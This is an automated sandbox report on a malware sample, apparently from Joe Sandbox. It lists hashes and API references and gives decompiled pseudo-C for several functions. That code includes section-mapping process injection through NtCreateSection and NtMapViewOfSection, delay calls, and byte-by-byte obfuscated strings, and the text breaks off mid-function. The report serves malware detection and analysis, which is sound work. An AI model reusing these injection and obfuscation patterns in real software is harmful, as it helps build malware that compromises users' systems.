Instruction ID: 14111f5365361c6cb25e6e8641aff9d84a81222d0f78e87a8274a0a0a7f535ba
Opcode Fuzzy Hash: 1b174bee9bc4ce0ddfe2b487e6742de9121d706ac4a08f4dc1842a7cd9d6002a
Instruction Fuzzy Hash: 22519136904204EBDB259A55CC48FBA77B5EF84704F24813BE842772F0D67C6A42E75B

Uniqueness

Uniqueness Score: -1.00%

Function 004112FF Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 00411330

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: e4a0572b6b4feeefca0d0a0f70cc7a3c39e2c8b9c28c390c464a2391472bd7df
Instruction ID: cfcfaa0a18297a6651c4fe9ab3818ff7a16b308a1585782e3a45418f4d4336bc
Opcode Fuzzy Hash: e4a0572b6b4feeefca0d0a0f70cc7a3c39e2c8b9c28c390c464a2391472bd7df
Instruction Fuzzy Hash: 32F0E23A5101205EEB213B756C448F7122CEA8A329316443BFE62C3665FA284CC383A8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2B3 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040E2C8

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: aa762fefa4a27bcf9cbf3603b77c7fa676a3d8c36f1559c4c653a126d522f15a
Instruction ID: 406327dbb5f2dcf89aa2ca3983ad258d9808f20d3e6a25132f5b2c573a594d13
Opcode Fuzzy Hash: aa762fefa4a27bcf9cbf3603b77c7fa676a3d8c36f1559c4c653a126d522f15a
Instruction Fuzzy Hash: C2D097325503056EEB004F70BC087B23BCCD3C4381F008436BD0CE6190F274C580E600

Uniqueness

Uniqueness Score: -1.00%

Function 0040DC6E Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMT ref: 0040DC70

Part of subcall function 0040DBFC: RtlEncodePointer.NTDLL(00000000,?,0040DC75,00000000,004171C4,00589A30,00000000,00000314,?,0040FB0A,00589A30,00402F50,00012010), ref: 0040DC63

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 7b86b45f8937276c33617a1efff138c370403075c0d02ec435a090ccf8e93572
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00401915(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t20;
				void* _t21;

				_t24 = __eflags;
				_push(0x5a);
				L00401271(0x194a, _t16, _t21, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E0040149E(_t20, _t24); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E0040156B(_t20, _t25, __fp0, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t21, _t25);
			}

0x00401915
0x00401936
0x00401945
0x0040194a
0x00401952
0x00401958
0x00401959
0x0040195c
0x0040195f
0x00401960
0x00401965
0x00401967
0x00401971
0x00401971
0x0040197a
0x00401987
0x00401995
0x004019a8

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 8d7522ae025c59350a8340f22a2b8cba072d69a72e0f694a0a7740aa560291c7
Instruction ID: 2a8389aefedc19a0c504b98736b9e0000cd3886a04144bd02a53e168a9e3d464
Opcode Fuzzy Hash: 8d7522ae025c59350a8340f22a2b8cba072d69a72e0f694a0a7740aa560291c7
Instruction Fuzzy Hash: 7001A2B5208204F7EB006A949C61EBF3628AB01761F204037FA17B90F1D57C8A13E72F

Uniqueness

Uniqueness Score: -1.00%

Function 00401920 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E00401920(void* __eax, void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				void* _t13;
				void* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t27;

				_t32 = __eflags;
				_t24 = __edi;
				asm("in eax, dx");
				_push(0x5a);
				L00401271(0x194a, __ebx, __edi, __eflags);
				_t19 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t19); // executed
				_t13 = E0040149E(_t23, _t32); // executed
				_t33 = _t13;
				if(_t13 != 0) {
					E0040156B(_t23, _t33, __fp0, _t19, _t13,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t19(0xffffffff, 0);
				_t15 = 0x194a;
				_push(0x5a);
				return L00401271(_t15, _t19, _t24, _t33);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: fa457398f710ccbbcac173ae2a84a174dd9d273bb895b75a58168b19d9a0e31f
Instruction ID: 224bb2ef0974229b5a5fdcef52df60c5cd3bf8ec0745870aca08fc2285a6eed9
Opcode Fuzzy Hash: fa457398f710ccbbcac173ae2a84a174dd9d273bb895b75a58168b19d9a0e31f
Instruction Fuzzy Hash: 6EF086B5204105FBDB009B949C61EBA77259F05361F204437F617B90F1C53C8513E62B

Uniqueness

Uniqueness Score: -1.00%

Function 0040192A Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 24%

			E0040192A(void* __edi, void* __eflags, void* __fp0) {
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t25;

				_t30 = __eflags;
				_t22 = __edi;
				_push(0x5a);
				L00401271(0x194a, 0xcd, __edi, __eflags);
				_t17 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040149E(_t21, _t30); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					E0040156B(_t21, _t31, __fp0, _t17, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t22, _t31);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 161dd5c3976c9ce7274e1749465a990bb93717c16a02162c3fc6a3195a2b6edd
Instruction ID: 9248d4b3e658d46e670c13ad7b2d26eba18d2d49d4b0dc53c33eada2e420f8d1
Opcode Fuzzy Hash: 161dd5c3976c9ce7274e1749465a990bb93717c16a02162c3fc6a3195a2b6edd
Instruction Fuzzy Hash: 1DF06DB6208104EBDB00AA949C61EBA3625AB05361F204437BA17B90F1C53C8612EA2B

Uniqueness

Uniqueness Score: -1.00%

Function 0040192E Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E0040192E(void* __ebx, void* __edi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t17;
				void* _t21;
				void* _t25;

				_t30 = __eflags;
				_t22 = __edi;
				asm("out dx, al");
				_push(0x5a);
				L00401271(_t8, __ebx, __edi, __eflags);
				_t17 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040149E(_t21, _t30); // executed
				_t31 = _t11;
				if(_t11 != 0) {
					E0040156B(_t21, _t31, __fp0, _t17, _t11,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x194a;
				_push(0x5a);
				return L00401271(_t13, _t17, _t22, _t31);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 35fb89e9c4f30cbfeaafd84edc25f65ffe16ed0339dce68ade91ea6c2d2cce69
Instruction ID: e24f51b341499e2e26426f908677bffa000874d55709296b6d837b784a8f1a12
Opcode Fuzzy Hash: 35fb89e9c4f30cbfeaafd84edc25f65ffe16ed0339dce68ade91ea6c2d2cce69
Instruction Fuzzy Hash: 35F044B6204105F7DB00AF949C61EBA76259F05761F204577BA17B90F1C53D8512EB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401931 Relevance: 1.3, APIs: 1, Instructions: 43
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401952

Part of subcall function 0040156B: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
Part of subcall function 0040156B: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
Part of subcall function 0040156B: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665

Memory Dump Source

Source File: 0000000B.00000002.503622729.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_uucbfdt.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 3e9a934ec199537abd16a0822f7778398e235c390a1290865f6cc20ec1f95f8b
Instruction ID: 67248cb6658f2556eaba37909da5001fde87a2f9067ac25d4feca41700aa7417
Opcode Fuzzy Hash: 3e9a934ec199537abd16a0822f7778398e235c390a1290865f6cc20ec1f95f8b
Instruction Fuzzy Hash: 44F0A476204205EBDB00AFA49C51DBE7725AF04754F200577BA12B90F1CA788512EB2B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041251C Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 00412553
___getlocaleinfo.LIBCMT ref: 00412568
___getlocaleinfo.LIBCMT ref: 0041257D
___getlocaleinfo.LIBCMT ref: 00412592
___getlocaleinfo.LIBCMT ref: 004125AA
___getlocaleinfo.LIBCMT ref: 004125BF
___getlocaleinfo.LIBCMT ref: 004125D1
___getlocaleinfo.LIBCMT ref: 004125E6
___getlocaleinfo.LIBCMT ref: 004125FE
___getlocaleinfo.LIBCMT ref: 00412613

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 67d2691e74c5941d2eb3c1619365f0b8b77928823da057a98be69eddb7686c32
Instruction ID: 3f8edc000173f4f52ed9c9d301a84f9c6a526a69cedc3883542c951c28ca7b9c
Opcode Fuzzy Hash: 67d2691e74c5941d2eb3c1619365f0b8b77928823da057a98be69eddb7686c32
Instruction Fuzzy Hash: 59E1DEB290060DBEFB11DAF18D45EFF7BBEEB0878CF10051AB215D2041EAB4AA559764

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD63 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040DD80
__lock.LIBCMT ref: 0040DDDB
__lock.LIBCMT ref: 0040DDFC
___addlocaleref.LIBCMT ref: 0040DE1A

Strings

t)@, xrefs: 0040DD6F
00@, xrefs: 0040DD8C

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: __lock$___addlocaleref__crt_waiting_on_module_handle
String ID: 00@$t)@
API String ID: 1628550938-666108758
Opcode ID: e0fea13ed6a56d5f602e00bc93a232e6cc9ecea66366008e6c9641cac17fb027
Instruction ID: 63d7a70014a364fd6082a2f5c89cb8c001aa75b35c3c569952648a9c1bd2e5bd
Opcode Fuzzy Hash: e0fea13ed6a56d5f602e00bc93a232e6cc9ecea66366008e6c9641cac17fb027
Instruction Fuzzy Hash: 2611B4719007019ED720AF76D905B5ABBE0AF14318F10893FE499B76E1CBB8A944CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C595 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040C5BB

Part of subcall function 0040C3E0: __fltout2.LIBCMT ref: 0040C40C

__cftog_l.LIBCMT ref: 0040C5E1
__cftoe_l.LIBCMT ref: 0040C613

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 3b7e747039cbb1ae13e555a0fc8221623f09327259d9c6029ffb2d351d491bf4
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 1111873604014AFBCF165F84CC81CEE3F22BB18355B598526FE18651B1D33BD971AB89

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2A3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040D2D5

Part of subcall function 0040DEC3: __getptd_noexit.LIBCMT ref: 0040DEC6
Part of subcall function 0040DEC3: __amsg_exit.LIBCMT ref: 0040DED3

__getptd.LIBCMT ref: 0040D2E3
__getptd.LIBCMT ref: 0040D2F1
__getptd.LIBCMT ref: 0040D2FC

Part of subcall function 0040D3C9: __getptd.LIBCMT ref: 0040D3D8
Part of subcall function 0040D3C9: __getptd.LIBCMT ref: 0040D3E6

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID:
API String ID: 803148776-0
Opcode ID: b06664f882c7183e6b6a9852754296a0b52de975ce6c542e71eed0e2f07f3430
Instruction ID: 9f69efa408be42ccc54f9932eb94afd4ccd190b3d47cac561d38d4755d3e0804
Opcode Fuzzy Hash: b06664f882c7183e6b6a9852754296a0b52de975ce6c542e71eed0e2f07f3430
Instruction Fuzzy Hash: 6E11F671C10209DFDB00EFA5C545BAD7BB0FF04319F10886EF854AB291DB789A159F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A78C Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040A798

Part of subcall function 0040DEC3: __getptd_noexit.LIBCMT ref: 0040DEC6
Part of subcall function 0040DEC3: __amsg_exit.LIBCMT ref: 0040DED3

__getptd.LIBCMT ref: 0040A7AF
__amsg_exit.LIBCMT ref: 0040A7BD
__lock.LIBCMT ref: 0040A7CD

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: d6762cd734ba615a2977fd6406bfc9b0e2aa10a7c42178ad2dc168d0ea95c3f9
Instruction ID: 5e000ac94786c625dd24f0a7ab5579ffd50ca622fe1f640271b818e4df0e6031
Opcode Fuzzy Hash: d6762cd734ba615a2977fd6406bfc9b0e2aa10a7c42178ad2dc168d0ea95c3f9
Instruction Fuzzy Hash: CAF09632D107009AD720BB668402B4972B06F50715F10C53FA4407B2D2CB7C9956CB9F

Uniqueness

Uniqueness Score: -1.00%

Function 0040D3C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040D3D8

Part of subcall function 0040DEC3: __getptd_noexit.LIBCMT ref: 0040DEC6
Part of subcall function 0040DEC3: __amsg_exit.LIBCMT ref: 0040DED3

__getptd.LIBCMT ref: 0040D3E6

Strings

csm, xrefs: 0040D3F4

Memory Dump Source

Source File: 0000000B.00000002.503850891.0000000000409000.00000020.00000001.01000000.00000008.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_409000_uucbfdt.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: bb4f35616a7895f188feabe247e526bf50877b373a52a4e2ee41216f4dc901dc
Instruction ID: 0dc1902a325e6e8383fd655c7f88e18603ed4258a609b8a914deeaadb4daddff
Opcode Fuzzy Hash: bb4f35616a7895f188feabe247e526bf50877b373a52a4e2ee41216f4dc901dc
Instruction Fuzzy Hash: 6D014F35C022058BCF349FA5C44066EB3B5AF14311F94893FF0807ABE1CB78A989CB59

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 37F1.exePID: 1760, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	31.4%
Signature Coverage:	16.6%
Total number of Nodes:	271
Total number of Limit Nodes:	30

Executed Functions

Function 004019F0 Relevance: 147.7, APIs: 34, Strings: 50, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
